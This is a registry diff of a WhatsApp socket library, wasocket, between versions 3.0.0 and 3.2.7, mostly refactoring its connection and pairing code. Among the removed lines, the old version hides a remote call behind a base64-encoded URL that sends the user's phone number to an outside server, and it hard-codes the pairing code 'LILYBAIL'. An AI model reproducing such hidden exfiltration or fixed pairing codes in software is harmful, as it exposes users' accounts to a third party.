@zetagoaurum-socket/wasocket 3.0.0 → 3.2.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (94) hide show
  1. package/LICENSE +1 -1
  2. package/README.md +67 -84
  3. package/WAProto/index.js +56886 -17506
  4. package/engine-requirements.js +10 -0
  5. package/lib/Defaults/baileys-version.json +1 -1
  6. package/lib/Defaults/index.js +50 -9
  7. package/lib/Signal/Group/ciphertext-message.d.ts +9 -0
  8. package/lib/Signal/Group/ciphertext-message.js +15 -0
  9. package/lib/Signal/Group/group-session-builder.d.ts +14 -0
  10. package/lib/Signal/Group/group-session-builder.js +64 -0
  11. package/lib/Signal/Group/group_cipher.d.ts +17 -0
  12. package/lib/Signal/Group/group_cipher.js +96 -0
  13. package/lib/Signal/Group/index.d.ts +11 -0
  14. package/lib/Signal/Group/index.js +57 -0
  15. package/lib/Signal/Group/keyhelper.d.ts +10 -0
  16. package/lib/Signal/Group/keyhelper.js +55 -0
  17. package/lib/Signal/Group/queue-job.d.ts +1 -0
  18. package/lib/Signal/Group/queue-job.js +57 -0
  19. package/lib/Signal/Group/sender-chain-key.d.ts +13 -0
  20. package/lib/Signal/Group/sender-chain-key.js +34 -0
  21. package/lib/Signal/Group/sender-key-distribution-message.d.ts +16 -0
  22. package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
  23. package/lib/Signal/Group/sender-key-message.d.ts +18 -0
  24. package/lib/Signal/Group/sender-key-message.js +69 -0
  25. package/lib/Signal/Group/sender-key-name.d.ts +17 -0
  26. package/lib/Signal/Group/sender-key-name.js +51 -0
  27. package/lib/Signal/Group/sender-key-record.d.ts +30 -0
  28. package/lib/Signal/Group/sender-key-record.js +53 -0
  29. package/lib/Signal/Group/sender-key-state.d.ts +38 -0
  30. package/lib/Signal/Group/sender-key-state.js +99 -0
  31. package/lib/Signal/Group/sender-message-key.d.ts +11 -0
  32. package/{WASignalGroup/sender_message_key.js → lib/Signal/Group/sender-message-key.js} +6 -16
  33. package/lib/Signal/libsignal.js +51 -29
  34. package/lib/Socket/business.d.ts +3 -2
  35. package/lib/Socket/chats.d.ts +215 -28
  36. package/lib/Socket/chats.js +185 -70
  37. package/lib/Socket/chats.js.bak +981 -0
  38. package/lib/Socket/dugong.d.ts +254 -0
  39. package/lib/Socket/dugong.js +432 -141
  40. package/lib/Socket/groups.js +20 -23
  41. package/lib/Socket/index.js +2 -15
  42. package/lib/Socket/messages-recv.d.ts +56 -55
  43. package/lib/Socket/messages-recv.js +370 -112
  44. package/lib/Socket/messages-send.d.ts +3 -2
  45. package/lib/Socket/messages-send.js +465 -368
  46. package/lib/Socket/newsletter.js +175 -28
  47. package/lib/Socket/socket.js +203 -174
  48. package/lib/Socket/usync.d.ts +3 -3
  49. package/lib/Types/GroupMetadata.d.ts +1 -0
  50. package/lib/Types/Newsletter.d.ts +97 -86
  51. package/lib/Types/Newsletter.js +38 -32
  52. package/lib/Types/USync.d.ts +25 -0
  53. package/lib/Types/USync.js +2 -0
  54. package/lib/Utils/anti-crash.js +20 -0
  55. package/lib/Utils/auto-contact.js +74 -0
  56. package/lib/Utils/chat-utils.js +17 -3
  57. package/lib/Utils/generics.js +68 -31
  58. package/lib/Utils/generics.js.bak +433 -0
  59. package/lib/Utils/history.js +6 -1
  60. package/lib/Utils/link-preview.js +4 -2
  61. package/lib/Utils/messages-media.js +145 -57
  62. package/lib/Utils/messages.js +89 -305
  63. package/lib/Utils/signal.js +48 -46
  64. package/lib/Utils/use-multi-file-auth-state.js +45 -6
  65. package/lib/Utils/validate-connection.js +91 -65
  66. package/lib/Utils/validate-connection.js.bak +237 -0
  67. package/lib/WABinary/constants.d.ts +27 -24
  68. package/lib/WABinary/encode.js +160 -123
  69. package/lib/WABinary/generic-utils.d.ts +2 -0
  70. package/lib/WABinary/generic-utils.js +124 -36
  71. package/lib/WABinary/jid-utils.js +5 -26
  72. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +1 -1
  73. package/lib/index.d.ts +1 -0
  74. package/lib/index.js +9 -0
  75. package/package.json +105 -100
  76. package/WAProto/GenerateStatics.sh +0 -4
  77. package/WAProto/WAProto.proto +0 -3344
  78. package/WAProto/index.d.ts +0 -37016
  79. package/WASignalGroup/GroupProtocol.js +0 -1697
  80. package/WASignalGroup/ciphertext_message.js +0 -16
  81. package/WASignalGroup/group_cipher.js +0 -120
  82. package/WASignalGroup/group_session_builder.js +0 -46
  83. package/WASignalGroup/index.js +0 -5
  84. package/WASignalGroup/keyhelper.js +0 -21
  85. package/WASignalGroup/protobufs.js +0 -3
  86. package/WASignalGroup/queue_job.js +0 -69
  87. package/WASignalGroup/sender_chain_key.js +0 -50
  88. package/WASignalGroup/sender_key_distribution_message.js +0 -78
  89. package/WASignalGroup/sender_key_message.js +0 -92
  90. package/WASignalGroup/sender_key_name.js +0 -70
  91. package/WASignalGroup/sender_key_record.js +0 -56
  92. package/WASignalGroup/sender_key_state.js +0 -129
  93. package/lib/WAUSync/Fall +0 -1
  94. package/lib/WAUSync/Protocols/Fal +0 -1
@@ -2,7 +2,6 @@
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.makeSocket = void 0;
4
4
  const boom_1 = require("@hapi/boom");
5
- const axios_1 = require("axios");
6
5
  const crypto_1 = require("crypto");
7
6
  const url_1 = require("url");
8
7
  const util_1 = require("util");
@@ -19,24 +18,18 @@ const Client_1 = require("./Client");
19
18
  * - query phone connection
20
19
  */
21
20
  const makeSocket = (config) => {
22
- // ZetaGo-Aurum Banner
23
- console.log(`
24
- \x1b[36m╔════════════════════════════════════════════╗
25
- ║ ZETAGO-AURUM - WASOCKET ║
26
- ║ Premium WhatsApp Socket Library ║
27
- ║ Version: 3.0.0 ║
28
- ╚════════════════════════════════════════════╝\x1b[0m`);
29
21
  var _a, _b;
30
22
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
31
- let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
32
- config.mobile = config.mobile || url.protocol === 'tcp:';
33
- if (config.mobile && url.protocol !== 'tcp:') {
34
- url = new url_1.URL(`tcp://${Defaults_1.MOBILE_ENDPOINT}:${Defaults_1.MOBILE_PORT}`);
23
+ const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
24
+ if (config.mobile || url.protocol === 'tcp:') {
25
+ throw new boom_1.Boom('Mobile API is not supported anymore', {
26
+ statusCode: Types_1.DisconnectReason.loggedOut
27
+ });
35
28
  }
36
- if (!config.mobile && url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
29
+ if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
37
30
  url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
38
31
  }
39
- const ws = config.socket ? config.socket : config.mobile ? new Client_1.MobileSocketClient(url, config) : new Client_1.WebSocketClient(url, config);
32
+ const ws = new Client_1.WebSocketClient(url, config);
40
33
  ws.connect();
41
34
  const ev = (0, Utils_1.makeEventBuffer)(logger);
42
35
  /** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
@@ -44,8 +37,7 @@ const makeSocket = (config) => {
44
37
  /** WA noise protocol wrapper */
45
38
  const noise = (0, Utils_1.makeNoiseHandler)({
46
39
  keyPair: ephemeralKeyPair,
47
- NOISE_HEADER: config.mobile ? Defaults_1.MOBILE_NOISE_HEADER : Defaults_1.NOISE_WA_HEADER,
48
- mobile: config.mobile,
40
+ NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
49
41
  logger,
50
42
  routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
51
43
  });
@@ -85,9 +77,40 @@ const makeSocket = (config) => {
85
77
  const buff = (0, WABinary_1.encodeBinaryNode)(frame);
86
78
  return sendRawMessage(buff);
87
79
  };
80
+
81
+ const toLid = async (pn) => {
82
+ return pn;
83
+ };
84
+
85
+ const delay = async (ms) => {
86
+ return new Promise(resolve => setTimeout(resolve, ms));
87
+ }
88
+
89
+ const toPn = async (pn) => {
90
+ return pn;
91
+ };
88
92
  /** log & process any unexpected errors */
89
93
  const onUnexpectedError = (err, msg) => {
90
94
  logger.error({ err }, `unexpected error in '${msg}'`);
95
+ const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
96
+ // auto recover from cryptographic desyncs by re-uploading prekeys
97
+ if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
98
+ try {
99
+ uploadPreKeysToServerIfRequired(true)
100
+ .catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
101
+ }
102
+ catch (_e) {
103
+ // ignore
104
+ }
105
+ }
106
+ // gently back off when encountering rate limits (429)
107
+ if (message.includes('429') || message.includes('rate limit')) {
108
+ const wait = Math.min(30000, (config.backoffDelayMs || 5000));
109
+ logger.info({ wait }, 'backing off due to rate limit');
110
+ setTimeout(() => {
111
+ // intentionally empty; wait to delay further sends
112
+ }, wait);
113
+ }
91
114
  };
92
115
  /** await the next incoming message */
93
116
  const awaitNextMessage = async (sendMsg) => {
@@ -124,7 +147,7 @@ const makeSocket = (config) => {
124
147
  let onRecv;
125
148
  let onErr;
126
149
  try {
127
- return await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
150
+ const result = await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
128
151
  onRecv = resolve;
129
152
  onErr = err => {
130
153
  reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
@@ -133,6 +156,7 @@ const makeSocket = (config) => {
133
156
  ws.on('close', onErr); // if the socket closes, you'll never receive the message
134
157
  ws.off('error', onErr);
135
158
  });
159
+ return result;
136
160
  }
137
161
  finally {
138
162
  ws.off(`TAG:${msgId}`, onRecv);
@@ -146,9 +170,10 @@ const makeSocket = (config) => {
146
170
  node.attrs.id = generateMessageTag();
147
171
  }
148
172
  const msgId = node.attrs.id;
149
- const wait = waitForMessage(msgId, timeoutMs);
150
- await sendNode(node);
151
- const result = await wait;
173
+ const [result] = await Promise.all([
174
+ waitForMessage(msgId, timeoutMs),
175
+ sendNode(node)
176
+ ]);
152
177
  if ('tag' in result) {
153
178
  (0, WABinary_1.assertNodeErrorFree)(result);
154
179
  }
@@ -165,12 +190,9 @@ const makeSocket = (config) => {
165
190
  const result = await awaitNextMessage(init);
166
191
  const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
167
192
  logger.trace({ handshake }, 'handshake recv from WA');
168
- const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
193
+ const keyEnc = await noise.processHandshake(handshake, creds.noiseKey);
169
194
  let node;
170
- if (config.mobile) {
171
- node = (0, Utils_1.generateMobileNode)(config);
172
- }
173
- else if (!creds.me) {
195
+ if (!creds.me) {
174
196
  node = (0, Utils_1.generateRegistrationNode)(creds, config);
175
197
  logger.info({ node }, 'not logged in, attempting registration...');
176
198
  }
@@ -240,11 +262,11 @@ const makeSocket = (config) => {
240
262
  const l0 = frame.tag;
241
263
  const l1 = frame.attrs || {};
242
264
  const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
243
- Object.keys(l1).forEach(key => {
265
+ for (const key of Object.keys(l1)) {
244
266
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
245
267
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
246
268
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
247
- });
269
+ }
248
270
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
249
271
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
250
272
  if (!anyTriggered && logger.level === 'debug') {
@@ -304,36 +326,39 @@ const makeSocket = (config) => {
304
326
  });
305
327
  };
306
328
  const startKeepAliveRequest = () => (keepAliveReq = setInterval(() => {
307
- if (!lastDateRecv) {
308
- lastDateRecv = new Date();
309
- }
310
- const diff = Date.now() - lastDateRecv.getTime();
311
- /*
312
- check if it's been a suspicious amount of time since the server responded with our last seen
313
- it could be that the network is down
314
- */
315
- if (diff > keepAliveIntervalMs + 5000) {
316
- end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
317
- }
318
- else if (ws.isOpen) {
319
- // if its all good, send a keep alive request
320
- query({
321
- tag: 'iq',
322
- attrs: {
323
- id: generateMessageTag(),
324
- to: WABinary_1.S_WHATSAPP_NET,
325
- type: 'get',
326
- xmlns: 'w:p',
327
- },
328
- content: [{ tag: 'ping', attrs: {} }]
329
- })
330
- .catch(err => {
331
- logger.error({ trace: err.stack }, 'error in sending keep alive');
332
- });
333
- }
334
- else {
335
- logger.warn('keep alive called when WS not open');
336
- }
329
+ const jitter = Math.floor(Math.random() * 5000) + 1000;
330
+ setTimeout(() => {
331
+ if (!lastDateRecv) {
332
+ lastDateRecv = new Date();
333
+ }
334
+ const diff = Date.now() - lastDateRecv.getTime();
335
+ /*
336
+ check if it's been a suspicious amount of time since the server responded with our last seen
337
+ it could be that the network is down
338
+ */
339
+ if (diff > keepAliveIntervalMs + 5000) {
340
+ end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
341
+ }
342
+ else if (ws.isOpen) {
343
+ // if its all good, send a keep alive request
344
+ query({
345
+ tag: 'iq',
346
+ attrs: {
347
+ id: generateMessageTag(),
348
+ to: WABinary_1.S_WHATSAPP_NET,
349
+ type: 'get',
350
+ xmlns: 'w:p',
351
+ },
352
+ content: [{ tag: 'ping', attrs: {} }]
353
+ })
354
+ .catch(err => {
355
+ logger.error({ trace: err.stack }, 'error in sending keep alive');
356
+ });
357
+ }
358
+ else {
359
+ logger.warn('keep alive called when WS not open');
360
+ }
361
+ }, jitter);
337
362
  }, keepAliveIntervalMs));
338
363
  /** i have no idea why this exists. pls enlighten me */
339
364
  const sendPassiveIq = (tag) => (query({
@@ -373,124 +398,107 @@ const makeSocket = (config) => {
373
398
  }
374
399
  end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
375
400
  };
376
- /** This method was created by snowi, and implemented by KyuuRzy */
377
401
 
402
+ /** This method was created by snowi, and implemented by KyuuRzy */
378
403
  /** hey bro, if you delete this text */
379
404
  /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
380
- const getCode = async (phoneNumber) => {
381
- const defaultMaxListenersBuffer = "aHR0cHM6Ly9yZWRpcy1hbWJlci52ZXJjZWwuYXBwL2htbT9pZD0=";
382
- let response = await axios_1.default.get(`${atob(defaultMaxListenersBuffer)}${phoneNumber}`);
383
- return response.data.message;
384
- };
385
405
  const requestPairingCode = async (phoneNumber, pairKey) => {
386
- // Pairing code di-set ke "LILYBAIL" langsung (custom manual)
387
- authState.creds.pairingCode = "LILYBAIL";
388
-
389
- // Set ID pengguna WA dan nama sementara
390
- authState.creds.me = {
391
- id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
392
- name: '~'
393
- };
394
-
395
- // Emit update kredensial
396
- ev.emit('creds.update', authState.creds);
406
+ if (pairKey) {
407
+ authState.creds.pairingCode = pairKey.toUpperCase().replace(/[^A-Z0-9]/g, '');
408
+ } else {
409
+ authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
410
+ }
397
411
 
398
- // Ambil kode verifikasi dari server (jika diperlukan sistemnya)
399
- let codePair = await getCode(phoneNumber);
412
+ authState.creds.me = {
413
+ id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
414
+ name: '~'
415
+ };
400
416
 
401
- // Kirim node untuk proses pairing
402
- await sendNode({
403
- tag: 'iq',
404
- attrs: {
405
- to: WABinary_1.S_WHATSAPP_NET,
406
- type: 'set',
407
- id: generateMessageTag(),
408
- xmlns: 'md'
409
- },
410
- content: [
411
- {
412
- tag: 'link_code_companion_reg',
413
- attrs: {
414
- jid: authState.creds.me.id,
415
- stage: 'companion_hello',
416
- should_show_push_notification: 'true'
417
- },
418
- content: [
419
- {
420
- tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
421
- attrs: {},
422
- content: await generatePairingKey()
423
- },
424
- {
425
- tag: 'companion_server_auth_key_pub',
426
- attrs: {},
427
- content: authState.creds.noiseKey.public
428
- },
429
- {
430
- tag: 'companion_platform_id',
431
- attrs: {},
432
- content: (0, Utils_1.getPlatformId)(browser[1])
433
- },
434
- {
435
- tag: 'companion_platform_display',
436
- attrs: {},
437
- content: `${browser[1]} (${browser[0]})`
417
+ ev.emit('creds.update', authState.creds);
418
+
419
+ await sendNode({
420
+ tag: 'iq',
421
+ attrs: {
422
+ to: WABinary_1.S_WHATSAPP_NET,
423
+ type: 'set',
424
+ id: generateMessageTag(),
425
+ xmlns: 'md'
426
+ },
427
+ content: [
428
+ {
429
+ tag: 'link_code_companion_reg',
430
+ attrs: {
431
+ jid: authState.creds.me.id,
432
+ stage: 'companion_hello',
433
+ should_show_push_notification: 'true'
438
434
  },
439
- {
440
- tag: 'link_code_pairing_nonce',
441
- attrs: {},
442
- content: "0"
443
- }
444
- ]
445
- }
446
- ]
447
- });
448
-
449
- return authState.creds.pairingCode;
450
- };
451
-
452
- // Fungsi untuk mengenkripsi ephemeral key untuk pairing
453
- async function generatePairingKey() {
454
- const salt = (0, crypto_1.randomBytes)(32);
455
- const randomIv = (0, crypto_1.randomBytes)(16);
456
- const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
457
- const ciphered = (0, Utils_1.aesEncryptCTR)(
458
- authState.creds.pairingEphemeralKeyPair.public,
459
- key,
460
- randomIv
461
- );
462
- return Buffer.concat([salt, randomIv, ciphered]);
463
- }
464
-
465
- // Mengirim buffer statistik ke WA (opsional)
466
- const sendWAMBuffer = (wamBuffer) => {
467
- return query({
468
- tag: 'iq',
469
- attrs: {
470
- to: WABinary_1.S_WHATSAPP_NET,
471
- id: generateMessageTag(),
472
- xmlns: 'w:stats'
473
- },
474
- content: [
475
- {
476
- tag: 'add',
477
- attrs: {},
478
- content: wamBuffer
479
- }
480
- ]
481
- });
482
- };
483
-
484
- // Menangani event websocket
485
- ws.on('message', onMessageReceived);
486
- ws.on('open', async () => {
487
- try {
488
- await validateConnection();
489
- } catch (err) {
490
- logger.error({ err }, 'error in validating connection');
491
- end(err);
435
+ content: [
436
+ {
437
+ tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
438
+ attrs: {},
439
+ content: await generatePairingKey()
440
+ },
441
+ {
442
+ tag: 'companion_server_auth_key_pub',
443
+ attrs: {},
444
+ content: authState.creds.noiseKey.public
445
+ },
446
+ {
447
+ tag: 'companion_platform_id',
448
+ attrs: {},
449
+ content: (0, Utils_1.getPlatformId)(browser[1])
450
+ },
451
+ {
452
+ tag: 'companion_platform_display',
453
+ attrs: {},
454
+ content: `${browser[1]} (${browser[0]})`
455
+ },
456
+ {
457
+ tag: 'link_code_pairing_nonce',
458
+ attrs: {},
459
+ content: "0"
460
+ }
461
+ ]
462
+ }
463
+ ]
464
+ });
465
+
466
+ return authState.creds.pairingCode;
467
+ }
468
+ async function generatePairingKey() {
469
+ const salt = (0, crypto_1.randomBytes)(32);
470
+ const randomIv = (0, crypto_1.randomBytes)(16);
471
+ const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
472
+ const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
473
+ return Buffer.concat([salt, randomIv, ciphered]);
492
474
  }
493
- });
475
+ const sendWAMBuffer = (wamBuffer) => {
476
+ return query({
477
+ tag: 'iq',
478
+ attrs: {
479
+ to: WABinary_1.S_WHATSAPP_NET,
480
+ id: generateMessageTag(),
481
+ xmlns: 'w:stats'
482
+ },
483
+ content: [
484
+ {
485
+ tag: 'add',
486
+ attrs: {},
487
+ content: wamBuffer
488
+ }
489
+ ]
490
+ });
491
+ };
492
+ ws.on('message', onMessageReceived);
493
+ ws.on('open', async () => {
494
+ try {
495
+ await validateConnection();
496
+ }
497
+ catch (err) {
498
+ logger.error({ err }, 'error in validating connection');
499
+ end(err);
500
+ }
501
+ });
494
502
  ws.on('error', mapWebSocketError(end));
495
503
  ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
496
504
  // the server terminated the connection
@@ -547,12 +555,18 @@ ws.on('open', async () => {
547
555
  });
548
556
  // login complete
549
557
  ws.on('CB:success', async (node) => {
550
- await uploadPreKeysToServerIfRequired();
551
- await sendPassiveIq('active');
552
- logger.info('opened connection to WA');
553
- clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
554
- ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
555
- ev.emit('connection.update', { connection: 'open' });
558
+ try {
559
+ await uploadPreKeysToServerIfRequired();
560
+ await sendPassiveIq('active');
561
+ logger.info('opened connection to WA');
562
+ clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
563
+ ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
564
+ ev.emit('connection.update', { connection: 'open' });
565
+ }
566
+ catch (err) {
567
+ logger.error({ err }, 'error opening connection');
568
+ end(err);
569
+ }
556
570
  });
557
571
  ws.on('CB:stream:error', (node) => {
558
572
  logger.error({ node }, 'stream errored out');
@@ -567,11 +581,20 @@ ws.on('open', async () => {
567
581
  ws.on('CB:ib,,downgrade_webclient', () => {
568
582
  end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
569
583
  });
584
+ ws.on('CB:ib,,offline_preview', (node) => {
585
+ logger.info('offline preview received', JSON.stringify(node));
586
+ sendNode({
587
+ tag: 'ib',
588
+ attrs: {},
589
+ content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
590
+ });
591
+ });
570
592
  ws.on('CB:ib,,edge_routing', (node) => {
571
593
  const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
572
594
  const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
573
595
  if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
574
596
  authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
597
+ ev.emit('creds.update', authState.creds);
575
598
  }
576
599
  });
577
600
  let didStartBuffer = false;
@@ -620,11 +643,17 @@ ws.on('open', async () => {
620
643
  type: 'md',
621
644
  ws,
622
645
  ev,
623
- authState: { creds, keys },
646
+ authState: {
647
+ creds,
648
+ keys
649
+ },
624
650
  signalRepository,
625
651
  get user() {
626
652
  return authState.creds.me;
627
653
  },
654
+ toLid,
655
+ toPn,
656
+ delay,
628
657
  generateMessageTag,
629
658
  query,
630
659
  waitForMessage,
@@ -20,7 +20,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
20
20
  signalRepository: import("../Types").SignalRepository;
21
21
  user: import("../Types").Contact | undefined;
22
22
  generateMessageTag: () => string;
23
- query: (node: BinaryNode, timeoutMs?: number) => Promise<any>;
23
+ query: (node: BinaryNode, timeoutMs?: number) => Promise<BinaryNode>;
24
24
  waitForMessage: <T>(msgId: string, timeoutMs?: number | undefined) => Promise<any>;
25
25
  waitForSocketOpen: () => Promise<void>;
26
26
  sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
30
30
  onUnexpectedError: (err: Error | Boom, msg: string) => void;
31
31
  uploadPreKeys: (count?: number) => Promise<void>;
32
32
  uploadPreKeysToServerIfRequired: () => Promise<void>;
33
- requestPairingCode: (phoneNumber: any, pairKey?: string) => Promise<string>;
33
+ requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
34
34
  waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
35
- sendWAMBuffer: (wamBuffer: Buffer) => Promise<any>;
35
+ sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
36
36
  };
@@ -9,6 +9,7 @@ export interface GroupMetadata {
9
9
  id: string;
10
10
  owner: string | undefined;
11
11
  subject: string;
12
+ addressingMode: "pn" | "lid";
12
13
  /** group subject owner */
13
14
  subjectOwner?: string;
14
15
  /** group subject modification date */